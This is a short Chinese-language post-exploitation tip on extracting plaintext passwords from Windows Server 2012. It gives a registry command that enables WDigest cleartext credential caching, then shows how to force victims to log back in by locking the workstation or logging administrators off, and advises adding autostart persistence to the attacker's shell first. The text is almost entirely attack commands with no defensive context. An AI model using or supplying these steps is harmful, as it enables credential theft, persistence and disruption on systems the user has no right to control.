windows 2012获取明文密码
导hash的话用常规的方法就可以。
修改注册表
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\ /v UseLogonCredential /t REG_DWORD /d 1
选项一：锁屏
rundll32.exe user32.dll,LockWorkStation
选项二：注销
查询已登录用户的会话ID
query user
把你想抓的那个管理员注销掉或者把所有在线用户全部注销掉，注意：可能会导致shell无法访问，执行前先给shell加个自启动
logoff ID